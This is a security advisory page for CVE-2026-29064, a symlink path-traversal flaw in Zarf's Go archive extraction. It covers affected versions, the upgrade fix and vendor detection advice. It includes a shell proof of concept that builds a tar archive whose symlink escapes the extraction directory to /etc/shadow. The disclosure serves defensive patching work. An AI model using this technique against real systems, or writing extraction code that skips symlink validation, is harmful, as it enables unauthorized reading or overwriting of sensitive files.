CVE-2026-29064 — archive
HIGHCVE-2026-29064 is a high-severity (CVSS 8.2) remote code execution vulnerability in github.com/zarf-dev/zarf/src/pkg/archive. A fix is available for github.com/zarf-dev/zarf/src/pkg/archive — see the affected versions and patch details below.
Zarf: Symlink targets in archives are not validated against destination directory
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-29064.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-29064 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/zarf-dev/zarf/src/pkg/archiveReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A path traversal vulnerability in archive extraction allows a specifically crafted Zarf package to create symlinks pointing outside the destination directory, enabling arbitrary file read or write on the system processing the package.
What users should do
Upgrade immediately to version v0.73.1
If developers cannot upgrade immediately, only process Zarf packages from fully trusted sources until the fix is applied.
If using trusted packages and archives - the only impact to this is updating zarf binary or SDK package versions. Previously created packages do not need to be rebuilt.
Who is affected
-
Any user of affected Zarf versions who processes packages from untrusted or semi-trusted sources. This includes packages received via file transfer, downloaded from registries, or shared across organizational boundaries. This includes use of the
zarf tools archiver decompressfunctionality on generic archives. -
Any SDK consumers of Zarf for the affected versions who utilize package load or archive operations.
What is the risk
A malicious Zarf package or archive could create symlinks pointing to arbitrary locations on the filesystem. This could lead to unauthorized file reads, file overwrites, or in some scenarios, code execution on the system performing the extraction in the event a file on the system is both overwritten and executed. This vulnerability does not introduce an execution path explicitly.
Mitigating Factors
If developers only process trusted packages and/or trusted archives (with `zarf tools archiver decompress), the risk is low.
Details
The archive extraction code in src/pkg/archive/archive.go creates symlinks from archive entries without validating that the symlink target resolves within the extraction destination directory. This affects all three extraction handler functions:
- defaultHandler (on line 320): Joins
dstwithf.LinkTarget, but does not verify the resolved path stays underdst. This means that a LinkTarget of"../../../../etc/shadow"would resolve outside the destination afterfilepath.Join. - stripHandler (on line 342): Passes
f.LinkTargetverbatim toos.Symlink. - filterHandler (on line 370): Similar to
defaultHandler, the code joins but does not validate theLinkTarget.
The vulnerability is a symlink variant of the "Zip Slip" class (CVE-2018-1002200). An attacker constructs a Zarf package containing an archive entry with a malicious f.LinkTarget. When the package is extracted, os.Symlink creates a symlink pointing outside the extraction root. A subsequent archive entry targeting the same name can then read or write through the symlink to an arbitrary location on the filesystem.
PoC
<details> <summary>Proof of Concept</summary> You may want to follow through these steps inside of a disposable environment (container, VM):Reproduction via zarf tools archiver decompress (simplest)
This demonstrates the vulnerability using the defaultHandler (line 320).
# 1. Create a staging directory for the malicious archive contents.
mkdir -p /tmp/cve-repro/archive-contents
# 2. Create a symlink that traverses out of the extraction directory.
# This symlink targets "../../../../../../../etc/shadow" relative to
# whatever extraction destination is chosen.
cd /tmp/cve-repro/archive-contents
ln -s ../../../../../../../etc/shadow escape-link
# 3. Also create a regular file so the archive isn't empty besides the link.
echo "benign content" > readme.txt
# 4. Package into a tar.gz archive.
# The --dereference flag is NOT used, so the symlink is stored as-is.
cd /tmp/cve-repro
tar -czf malicious.tar.gz -C archive-contents .
# 5. Verify the archive contains the symlink.
tar -tvf malicious.tar.gz
# Expected output includes:
# lrwxrwxrwx ... ./escape-link -> ../../../../../../../etc/shadow
# 6. Create the extraction destination (deeply nested so the traversal
# resolves to a real path).
mkdir -p /tmp/cve-repro/extract/a/b/c/d
# 7. Run the vulnerable extraction.
zarf tools archiver decompress malicious.tar.gz /tmp/cve-repro/extract/a/b/c/d
# 8. Verify the symlink was created pointing outside the destination.
ls -la /tmp/cve-repro/extract/a/b/c/d/escape-link
# Expected: escape-link /etc/shadow
#
# The symlink target resolves to /etc/shadow, which is OUTSIDE
# the extraction directory /tmp/cve-repro/extract/a/b/c/d/.
readlink -f /tmp/cve-repro/extract/a/b/c/d/escape-link
# Expected: /etc/shadow
What happened: defaultHandler (line 320) executed:
os.Symlink(filepath.Join(dst, f.LinkTarget), target)
// = os.Symlink("/tmp/cve-repro/extract/a/b/c/d/../../../../../../../etc/shadow",
// "/tmp/cve-repro/extract/a/b/c/d/escape-link")
filepath.Join cleans the path to /etc/shadow, which is outside dst. No validation is performed.
</details>Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/zarf-dev/zarf/src/pkg/archive | ≥ 0.54.0&&< 0.73.1 | 0.73.1go get github.com/zarf-dev/zarf/src/pkg/archive@v0.73.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/zarf-dev/zarf/src/pkg/archive, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/zarf-dev/zarf/src/pkg/archive to 0.73.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29064 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-29064 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-29064. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-29064 in your dependencies?
O3 Security finds CVE-2026-29064 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.